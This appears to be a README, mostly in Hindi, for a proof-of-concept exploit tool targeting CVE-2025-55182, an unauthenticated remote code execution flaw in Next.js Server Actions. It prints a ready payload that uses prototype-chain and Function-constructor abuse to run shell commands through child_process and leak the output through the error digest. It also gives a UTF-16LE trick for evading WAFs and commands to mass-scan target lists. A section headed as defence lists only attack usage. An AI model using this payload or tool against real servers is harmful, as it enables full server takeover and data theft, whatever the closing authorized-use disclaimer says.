
Proof-of-concept research tool for CVE-2025-55182, a critical unauthenticated RCE in Next.js App Router caused by server-side object injection in React Server Components and Server Actions, including UTF-16LE WAF evasion techniques.
NextRce एक सुरक्षा अनुसंधान उपकरण है जो CVE-2025-55182 का प्रदर्शन करता है, जो Next.js App Router अनुप्रयोगों में React Server Components (RSC) और Server Actions का उपयोग करने वाली एक गंभीर कमजोरी है।
यह कमजोरी एक हमलावर को अप्रमाणित रिमोट कोड निष्पादन (RCE) प्राप्त करने की अनुमति देती है, जिससे Next.js Server Action प्रतिक्रियाओं को संसाधित करने और सीरियलाइज़्ड RSC पेलोड को सर्वर पर हल करने के तरीके का दुरुपयोग किया जाता है।
CVE-2025-55182 Next.js App Router आर्किटेक्चर में मौजूद है और इसे सर्वर-साइड ऑब्जेक्ट इंजेक्शन / प्रोटोटाइप चेन दुरुपयोग समस्या के रूप में वर्गीकृत किया जा सकता है, जो multipart/form-data अनुरोधों को संभालने के दौरान उत्पन्न होती है।
जब कोई Server Action ट्रिगर होता है, तो Next.js सर्वर संरचित क्लाइंट इनपुट पर भरोसा करता है और उसे डिसीरियलाइज़ करता है। एक विशेष रूप से तैयार पेलोड भेजकर, हमलावर आंतरिक रिज़ॉल्यूशन लॉजिक में हेरफेर कर सकता है और Node.js रनटाइम में मनमाना सिस्टम कमांड निष्पादित कर सकता है।
कमजोरी निम्नलिखित संयुक्त कारकों के कारण उत्पन्न होती है:
Server Actions विश्वास मॉडल
Server Actions संरचित क्लाइंट पेलोड स्वीकार करते हैं जो आंतरिक React Server Component रिज़ॉल्यूशन लॉजिक के माध्यम से अपर्याप्त सत्यापन के साथ संसाधित होते हैं।
RSC रिज़ॉल्यूशन के दौरान ऑब्जेक्ट इंजेक्शन
तैयार पेलोड JavaScript प्रोटोटाइप चेन और कंस्ट्रक्टर संदर्भों का दुरुपयोग कर सकते हैं, जिससे इच्छित ऑब्जेक्ट स्कोप से बचा जा सकता है।
अपर्याप्त सैनिटाइज़ेशन
then, _response, और form-data गेटर जैसे आंतरिक फ़ील्ड दुर्भावनापूर्ण हेरफेर से पर्याप्त रूप से संरक्षित नहीं हैं।
एन्कोडिंग-आधारित WAF बाईपास
कई Web Application Firewalls UTF-8 या मानक JSON पर ध्यान केंद्रित करते हैं। पेलोड को UTF-16LE के रूप में एन्कोड करने से वे निरीक्षण को बायपास कर सकते हैं, जबकि Next.js सर्वर उन्हें सही ढंग से डिकोड करता है।
शोषण एक multipart अनुरोध के अंदर एक तैयार RSC पेलोड इंजेक्ट करने पर निर्भर करता है।
पेलोड का एक सरलीकृत संस्करण नीचे दिखाया गया है:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. प्रोटोटाइप चेन हाइजैक
"then": "$1:__proto__:then"then प्रॉपर्टी को ओवरराइड करके जावास्क्रिप्ट की प्रोटोटाइप चेन का दुरुपयोग करता है, जिससे Next.js रनटाइम में React Server Component प्रोसेसिंग के दौरान Promises के रिज़ॉल्यूशन में हस्तक्षेप होता है।2. कंस्ट्रक्टर एस्केप
"_formData": { "get": "$1:constructor:constructor" }Function कंस्ट्रक्टर तक पहुंच प्रदान करता है, जिससे इच्छित सैंडबॉक्स के बाहर मनमाना JavaScript निष्पादित किया जा सकता है।3. रिमोट कोड निष्पादन
process.mainModule .require('child_process') .execSync('{cmd}')4. डाइजेस्ट-आधारित आउटपुट एक्सफ़िल्ट्रेशन
throw Object.assign(new Error('x'), { digest: res });5. WAF बाईपास (UTF-16LE)
Content-Type: text/plain; charset=utf-16leCVE-2025-55182 के सफल शोषण के परिणामस्वरूप हो सकता है:
🔥 पूर्ण रिमोट कोड निष्पादन
🗄️ संवेदनशील डेटा और क्रेडेंशियल तक पहुंच
🔗 बुनियादी ढांचे के भीतर पार्श्व आंदोलन
📦 आपूर्ति श्रृंखला समझौता
🚨 पूर्ण सर्वर अधिग्रहण
गंभीरता: गंभीर
प्रमाणीकरण आवश्यक: नहीं
CVE-2025-55182 से बचाव के लिए:
एकल लक्ष्य
python3 exploit.py -u https://target.com -c "whoami"WAF बाईपास के साथ बड़े पैमाने पर स्कैन
python3 exploit.py -l urls.txt -B -t 50यह प्रोजेक्ट केवल शैक्षिक, अनुसंधान और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
इस उपकरण का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।
लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।